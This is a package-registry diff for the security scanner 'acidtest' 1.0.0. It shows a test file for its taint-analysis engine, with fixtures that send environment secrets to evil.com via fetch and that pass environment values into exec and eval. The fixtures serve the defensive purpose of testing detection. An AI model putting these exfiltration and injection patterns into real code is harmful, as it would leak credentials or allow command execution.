acidtest 0.7.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/acidtest-pr-comment.yml +219 -0
- package/README.md +155 -30
- package/dist/analysis/dataflow-graph.d.ts +19 -0
- package/dist/analysis/dataflow-graph.d.ts.map +1 -0
- package/dist/analysis/dataflow-graph.js +365 -0
- package/dist/analysis/dataflow-graph.js.map +1 -0
- package/dist/analysis/dataflow-types.d.ts +86 -0
- package/dist/analysis/dataflow-types.d.ts.map +1 -0
- package/dist/analysis/dataflow-types.js +8 -0
- package/dist/analysis/dataflow-types.js.map +1 -0
- package/dist/analysis/dataflow.test.d.ts +7 -0
- package/dist/analysis/dataflow.test.d.ts.map +1 -0
- package/dist/analysis/dataflow.test.js +257 -0
- package/dist/analysis/dataflow.test.js.map +1 -0
- package/dist/analysis/taint-propagation.d.ts +30 -0
- package/dist/analysis/taint-propagation.d.ts.map +1 -0
- package/dist/analysis/taint-propagation.js +207 -0
- package/dist/analysis/taint-propagation.js.map +1 -0
- package/dist/index.js +1 -1
- package/dist/layers/code.d.ts +1 -1
- package/dist/layers/code.d.ts.map +1 -1
- package/dist/layers/code.js +282 -3
- package/dist/layers/code.js.map +1 -1
- package/dist/layers/code.test.js +196 -0
- package/dist/layers/code.test.js.map +1 -1
- package/dist/layers/crossref.d.ts.map +1 -1
- package/dist/layers/crossref.js +6 -3
- package/dist/layers/crossref.js.map +1 -1
- package/dist/layers/dataflow.d.ts +29 -0
- package/dist/layers/dataflow.d.ts.map +1 -0
- package/dist/layers/dataflow.js +217 -0
- package/dist/layers/dataflow.js.map +1 -0
- package/dist/layers/permissions.d.ts.map +1 -1
- package/dist/layers/permissions.js +2 -1
- package/dist/layers/permissions.js.map +1 -1
- package/dist/mcp-server.js +1 -1
- package/dist/parsers/parser-interface.d.ts +31 -0
- package/dist/parsers/parser-interface.d.ts.map +1 -0
- package/dist/parsers/parser-interface.js +6 -0
- package/dist/parsers/parser-interface.js.map +1 -0
- package/dist/parsers/parsers.test.d.ts +5 -0
- package/dist/parsers/parsers.test.d.ts.map +1 -0
- package/dist/parsers/parsers.test.js +111 -0
- package/dist/parsers/parsers.test.js.map +1 -0
- package/dist/parsers/python-parser.d.ts +18 -0
- package/dist/parsers/python-parser.d.ts.map +1 -0
- package/dist/parsers/python-parser.js +120 -0
- package/dist/parsers/python-parser.js.map +1 -0
- package/dist/parsers/typescript-parser.d.ts +16 -0
- package/dist/parsers/typescript-parser.d.ts.map +1 -0
- package/dist/parsers/typescript-parser.js +112 -0
- package/dist/parsers/typescript-parser.js.map +1 -0
- package/dist/patterns/dangerous-calls-python.json +220 -0
- package/dist/patterns/dangerous-imports-python.json +256 -0
- package/dist/patterns/insecure-crypto.json +163 -0
- package/dist/patterns/prototype-pollution.json +72 -0
- package/dist/patterns/python-deserialization.json +94 -0
- package/dist/patterns/regex-dos.json +50 -0
- package/dist/patterns/sql-injection.json +91 -0
- package/dist/patterns/xss-injection.json +115 -0
- package/dist/scanner.d.ts +1 -1
- package/dist/scanner.d.ts.map +1 -1
- package/dist/scanner.js +51 -4
- package/dist/scanner.js.map +1 -1
- package/dist/schemas/pattern.schema.json +139 -0
- package/dist/test-corpus/validate-corpus.d.ts +7 -0
- package/dist/test-corpus/validate-corpus.d.ts.map +1 -0
- package/dist/test-corpus/validate-corpus.js +341 -0
- package/dist/test-corpus/validate-corpus.js.map +1 -0
- package/dist/types.d.ts +2 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/validation/pattern-validator.d.ts +34 -0
- package/dist/validation/pattern-validator.d.ts.map +1 -0
- package/dist/validation/pattern-validator.js +168 -0
- package/dist/validation/pattern-validator.js.map +1 -0
- package/dist/validation/pattern-validator.test.d.ts +5 -0
- package/dist/validation/pattern-validator.test.d.ts.map +1 -0
- package/dist/validation/pattern-validator.test.js +222 -0
- package/dist/validation/pattern-validator.test.js.map +1 -0
- package/dist/validation/validate-patterns.d.ts +6 -0
- package/dist/validation/validate-patterns.d.ts.map +1 -0
- package/dist/validation/validate-patterns.js +55 -0
- package/dist/validation/validate-patterns.js.map +1 -0
- package/package.json +11 -4
|
@@ -0,0 +1,257 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tests for dataflow/taint analysis
|
|
3
|
+
*
|
|
4
|
+
* Phase 3.1: Dataflow Implementation
|
|
5
|
+
*/
|
|
6
|
+
import { describe, it, expect } from 'vitest';
|
|
7
|
+
import * as ts from 'typescript';
|
|
8
|
+
import { buildDataFlowGraph } from './dataflow-graph.js';
|
|
9
|
+
import { propagateTaint, findTaintPaths, extractTaintSources, extractTaintSinks, } from './taint-propagation.js';
|
|
10
|
+
describe('Dataflow Graph Construction', () => {
|
|
11
|
+
it('should detect process.env as taint source', () => {
|
|
12
|
+
const code = `
|
|
13
|
+
const apiKey = process.env.API_KEY;
|
|
14
|
+
`;
|
|
15
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
16
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
17
|
+
const sources = extractTaintSources(graph);
|
|
18
|
+
expect(sources.length).toBeGreaterThan(0);
|
|
19
|
+
expect(sources[0].type).toBe('env-var');
|
|
20
|
+
});
|
|
21
|
+
it('should detect exec as taint sink', () => {
|
|
22
|
+
const code = `
|
|
23
|
+
import { exec } from 'child_process';
|
|
24
|
+
exec('ls');
|
|
25
|
+
`;
|
|
26
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
27
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
28
|
+
const sinks = extractTaintSinks(graph);
|
|
29
|
+
expect(sinks.length).toBeGreaterThan(0);
|
|
30
|
+
expect(sinks[0].type).toBe('command-execution');
|
|
31
|
+
});
|
|
32
|
+
it('should detect eval as taint sink', () => {
|
|
33
|
+
const code = `
|
|
34
|
+
eval('console.log("test")');
|
|
35
|
+
`;
|
|
36
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
37
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
38
|
+
const sinks = extractTaintSinks(graph);
|
|
39
|
+
expect(sinks.length).toBeGreaterThan(0);
|
|
40
|
+
expect(sinks[0].type).toBe('code-evaluation');
|
|
41
|
+
});
|
|
42
|
+
it('should detect fetch as taint sink', () => {
|
|
43
|
+
const code = `
|
|
44
|
+
fetch('https://example.com', { method: 'POST', body: data });
|
|
45
|
+
`;
|
|
46
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
47
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
48
|
+
const sinks = extractTaintSinks(graph);
|
|
49
|
+
expect(sinks.length).toBeGreaterThan(0);
|
|
50
|
+
expect(sinks[0].type).toBe('network-request');
|
|
51
|
+
});
|
|
52
|
+
it('should create dataflow edge for assignment', () => {
|
|
53
|
+
const code = `
|
|
54
|
+
const a = process.env.KEY;
|
|
55
|
+
const b = a;
|
|
56
|
+
`;
|
|
57
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
58
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
59
|
+
expect(graph.edges.length).toBeGreaterThan(0);
|
|
60
|
+
expect(graph.edges.some((e) => e.type === 'assignment')).toBe(true);
|
|
61
|
+
});
|
|
62
|
+
});
|
|
63
|
+
describe('Taint Propagation', () => {
|
|
64
|
+
it('should propagate taint through direct assignment', () => {
|
|
65
|
+
const code = `
|
|
66
|
+
const secret = process.env.SECRET;
|
|
67
|
+
const copy = secret;
|
|
68
|
+
exec(copy);
|
|
69
|
+
`;
|
|
70
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
71
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
72
|
+
const sources = extractTaintSources(graph);
|
|
73
|
+
const tainted = propagateTaint(graph, sources);
|
|
74
|
+
// Should have at least 3 tainted nodes: source, secret, copy
|
|
75
|
+
expect(tainted.size).toBeGreaterThanOrEqual(2);
|
|
76
|
+
});
|
|
77
|
+
it('should propagate taint through assignment chain', () => {
|
|
78
|
+
const code = `
|
|
79
|
+
const a = process.env.KEY;
|
|
80
|
+
const b = a;
|
|
81
|
+
const c = b;
|
|
82
|
+
exec(c);
|
|
83
|
+
`;
|
|
84
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
85
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
86
|
+
const sources = extractTaintSources(graph);
|
|
87
|
+
const tainted = propagateTaint(graph, sources);
|
|
88
|
+
// Should have at least 4 tainted nodes: source, a, b, c
|
|
89
|
+
expect(tainted.size).toBeGreaterThanOrEqual(3);
|
|
90
|
+
});
|
|
91
|
+
it('should propagate taint through property assignment', () => {
|
|
92
|
+
const code = `
|
|
93
|
+
const config = {};
|
|
94
|
+
config.apiKey = process.env.KEY;
|
|
95
|
+
`;
|
|
96
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
97
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
98
|
+
const sources = extractTaintSources(graph);
|
|
99
|
+
const tainted = propagateTaint(graph, sources);
|
|
100
|
+
expect(tainted.size).toBeGreaterThan(0);
|
|
101
|
+
});
|
|
102
|
+
it('should propagate taint through template literals', () => {
|
|
103
|
+
const code = `
|
|
104
|
+
const key = process.env.KEY;
|
|
105
|
+
const url = \`https://evil.com?key=\${key}\`;
|
|
106
|
+
`;
|
|
107
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
108
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
109
|
+
const sources = extractTaintSources(graph);
|
|
110
|
+
const tainted = propagateTaint(graph, sources);
|
|
111
|
+
expect(tainted.size).toBeGreaterThan(0);
|
|
112
|
+
});
|
|
113
|
+
it('should propagate taint through object construction', () => {
|
|
114
|
+
const code = `
|
|
115
|
+
const secret = process.env.TOKEN;
|
|
116
|
+
const obj = { key: secret };
|
|
117
|
+
`;
|
|
118
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
119
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
120
|
+
const sources = extractTaintSources(graph);
|
|
121
|
+
const tainted = propagateTaint(graph, sources);
|
|
122
|
+
expect(tainted.size).toBeGreaterThan(0);
|
|
123
|
+
});
|
|
124
|
+
});
|
|
125
|
+
describe('Taint Path Detection', () => {
|
|
126
|
+
it('should detect direct taint flow: env var → exec', () => {
|
|
127
|
+
const code = `
|
|
128
|
+
const cmd = process.env.COMMAND;
|
|
129
|
+
exec(cmd);
|
|
130
|
+
`;
|
|
131
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
132
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
133
|
+
const sources = extractTaintSources(graph);
|
|
134
|
+
const sinks = extractTaintSinks(graph);
|
|
135
|
+
const tainted = propagateTaint(graph, sources);
|
|
136
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
137
|
+
expect(paths.length).toBeGreaterThan(0);
|
|
138
|
+
expect(paths[0].severity).toBe('CRITICAL');
|
|
139
|
+
});
|
|
140
|
+
it('should detect taint flow: env var → eval', () => {
|
|
141
|
+
const code = `
|
|
142
|
+
const code = process.env.CODE;
|
|
143
|
+
eval(code);
|
|
144
|
+
`;
|
|
145
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
146
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
147
|
+
const sources = extractTaintSources(graph);
|
|
148
|
+
const sinks = extractTaintSinks(graph);
|
|
149
|
+
const tainted = propagateTaint(graph, sources);
|
|
150
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
151
|
+
expect(paths.length).toBeGreaterThan(0);
|
|
152
|
+
expect(paths[0].severity).toBe('CRITICAL');
|
|
153
|
+
});
|
|
154
|
+
it('should detect taint flow: env var → fetch (exfiltration)', () => {
|
|
155
|
+
const code = `
|
|
156
|
+
const apiKey = process.env.API_KEY;
|
|
157
|
+
fetch('https://evil.com', { body: apiKey });
|
|
158
|
+
`;
|
|
159
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
160
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
161
|
+
const sources = extractTaintSources(graph);
|
|
162
|
+
const sinks = extractTaintSinks(graph);
|
|
163
|
+
const tainted = propagateTaint(graph, sources);
|
|
164
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
165
|
+
expect(paths.length).toBeGreaterThan(0);
|
|
166
|
+
expect(paths[0].severity).toBe('CRITICAL');
|
|
167
|
+
});
|
|
168
|
+
it('should detect multi-step taint flow', () => {
|
|
169
|
+
const code = `
|
|
170
|
+
const secret = process.env.SECRET;
|
|
171
|
+
const config = { key: secret };
|
|
172
|
+
const data = config.key;
|
|
173
|
+
fetch('https://evil.com', { body: data });
|
|
174
|
+
`;
|
|
175
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
176
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
177
|
+
const sources = extractTaintSources(graph);
|
|
178
|
+
const sinks = extractTaintSinks(graph);
|
|
179
|
+
const tainted = propagateTaint(graph, sources);
|
|
180
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
181
|
+
expect(paths.length).toBeGreaterThan(0);
|
|
182
|
+
expect(paths[0].path.length).toBeGreaterThan(2); // Multi-step
|
|
183
|
+
});
|
|
184
|
+
it('should calculate high confidence for short paths', () => {
|
|
185
|
+
const code = `
|
|
186
|
+
const key = process.env.KEY;
|
|
187
|
+
exec(key);
|
|
188
|
+
`;
|
|
189
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
190
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
191
|
+
const sources = extractTaintSources(graph);
|
|
192
|
+
const sinks = extractTaintSinks(graph);
|
|
193
|
+
const tainted = propagateTaint(graph, sources);
|
|
194
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
195
|
+
expect(paths.length).toBeGreaterThan(0);
|
|
196
|
+
expect(paths[0].confidence).toBe('high');
|
|
197
|
+
});
|
|
198
|
+
it('should not detect paths when sink is not reachable', () => {
|
|
199
|
+
const code = `
|
|
200
|
+
const safe = 'safe-value';
|
|
201
|
+
const dangerous = process.env.KEY;
|
|
202
|
+
exec(safe);
|
|
203
|
+
`;
|
|
204
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
205
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
206
|
+
const sources = extractTaintSources(graph);
|
|
207
|
+
const sinks = extractTaintSinks(graph);
|
|
208
|
+
const tainted = propagateTaint(graph, sources);
|
|
209
|
+
const paths = findTaintPaths(graph, sources, sinks, tainted);
|
|
210
|
+
// Should not find path since exec uses 'safe', not 'dangerous'
|
|
211
|
+
expect(paths.length).toBe(0);
|
|
212
|
+
});
|
|
213
|
+
});
|
|
214
|
+
describe('Edge Cases', () => {
|
|
215
|
+
it('should handle code with no sources', () => {
|
|
216
|
+
const code = `
|
|
217
|
+
const safe = 'safe';
|
|
218
|
+
exec(safe);
|
|
219
|
+
`;
|
|
220
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
221
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
222
|
+
const sources = extractTaintSources(graph);
|
|
223
|
+
expect(sources.length).toBe(0);
|
|
224
|
+
});
|
|
225
|
+
it('should handle code with no sinks', () => {
|
|
226
|
+
const code = `
|
|
227
|
+
const apiKey = process.env.API_KEY;
|
|
228
|
+
console.log('Using key');
|
|
229
|
+
`;
|
|
230
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
231
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
232
|
+
const sinks = extractTaintSinks(graph);
|
|
233
|
+
expect(sinks.length).toBe(0);
|
|
234
|
+
});
|
|
235
|
+
it('should handle empty code', () => {
|
|
236
|
+
const code = ``;
|
|
237
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
238
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
239
|
+
expect(graph.nodes.length).toBe(0);
|
|
240
|
+
expect(graph.edges.length).toBe(0);
|
|
241
|
+
});
|
|
242
|
+
it('should handle multiple sources and sinks', () => {
|
|
243
|
+
const code = `
|
|
244
|
+
const key1 = process.env.KEY1;
|
|
245
|
+
const key2 = process.env.KEY2;
|
|
246
|
+
exec(key1);
|
|
247
|
+
eval(key2);
|
|
248
|
+
`;
|
|
249
|
+
const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
|
|
250
|
+
const graph = buildDataFlowGraph(sourceFile);
|
|
251
|
+
const sources = extractTaintSources(graph);
|
|
252
|
+
const sinks = extractTaintSinks(graph);
|
|
253
|
+
expect(sources.length).toBeGreaterThanOrEqual(2);
|
|
254
|
+
expect(sinks.length).toBeGreaterThanOrEqual(2);
|
|
255
|
+
});
|
|
256
|
+
});
|
|
257
|
+
//# sourceMappingURL=dataflow.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dataflow.test.js","sourceRoot":"","sources":["../../src/analysis/dataflow.test.ts"],"names":[],"mappings":"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